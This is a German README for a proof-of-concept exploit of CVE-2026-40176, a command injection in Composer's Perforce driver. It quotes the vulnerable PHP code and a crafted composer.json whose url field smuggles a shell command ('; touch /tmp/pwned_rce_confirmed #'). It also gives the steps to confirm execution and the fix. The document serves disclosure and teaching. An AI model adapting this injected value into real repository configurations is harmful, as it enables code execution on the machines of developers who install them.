
Proof-of-concept-Exploit für CVE-2026-40176, eine OS-Befehlseinschleusung im Perforce-VCS-Treiber von Composer, die die Remote-Code-Ausführung über eine manipulierte composer.json ermöglicht.
Dieses Repository enthält einen Proof of Concept (PoC) für die kritische OS-Befehlseinschleusungs-Schwachstelle CVE-2026-40176, die im Perforce VCS-Treiber von Composer vorhanden ist. Die Schwachstelle betrifft Composer-Versionen vor 2.2.27 und 2.9.6.
Die Schwachstelle befindet sich in der Methode Perforce::generateP4Command(). Bei der Zusammenstellung von Shell-Befehlen werden Repository-Konfigurationswerte wie url, p4user und client nicht ausreichend bereinigt, sodass ein Angreifer mit einer kontrollierten composer.json beliebige Befehle ausführen kann, wenn das Opfer composer install oder composer update ausführt.
Entdecker: saku0512 (GitHub)
Dieses Projekt ist ausschließlich für Bildungszwecke und autorisierte ethische Sicherheitsüberprüfungen bestimmt.
Der Autor übernimmt keine Haftung für Missbrauch, Schäden oder illegale Handlungen, die sich aus der Nutzung dieses Tools ergeben. Der unbefugte Zugriff auf Computersysteme ist illegal. Durch die Verwendung dieser Software stimmen Sie zu, Sicherheitsüberprüfungen nur in Umgebungen durchzuführen, für die Sie eine ausdrückliche Genehmigung haben.
In der Methode generateP4Command() in src/Composer/Util/Perforce.php wird ein Shell-Befehl durch direktes Verketten von aus der Repository-Konfiguration stammenden Zeichenfolgen erstellt.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // nicht maskiert
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // nicht maskiert
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // nicht maskiert
Wenn diese Werte Shell-Metazeichen wie ;, &, | enthalten, werden sie von der Shell interpretiert, was zu einer Befehlseinschleusung führt.
Stellen Sie sicher, dass PHP installiert ist. Dieser PoC reproduziert die anfällige Logik innerhalb von Composer.
# PHP-Version prüfen
php -v
Ein Angreifer kann eine composer.json wie die folgende erstellen:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
Die mitgelieferte poc.php reproduziert die interne Befehlsgenerierung und -ausführungslogik der anfälligen Composer-Version.
# PoC ausführen
php poc.php
Überprüfen Sie, ob die vom Payload erstellte Datei existiert, um zu bestätigen, dass der Befehl ausgeführt wurde.
ls -l /tmp/pwned_rce_confirmed
Wenn die Datei existiert, ist der RCE bestätigt.
Aktualisieren Sie Composer sofort auf die neueste Version.
composer self-update
Der Fix wendet ProcessExecutor::escape() auf alle aus Benutzereingaben stammenden Argumente an, um deren Interpretation durch die Shell zu verhindern.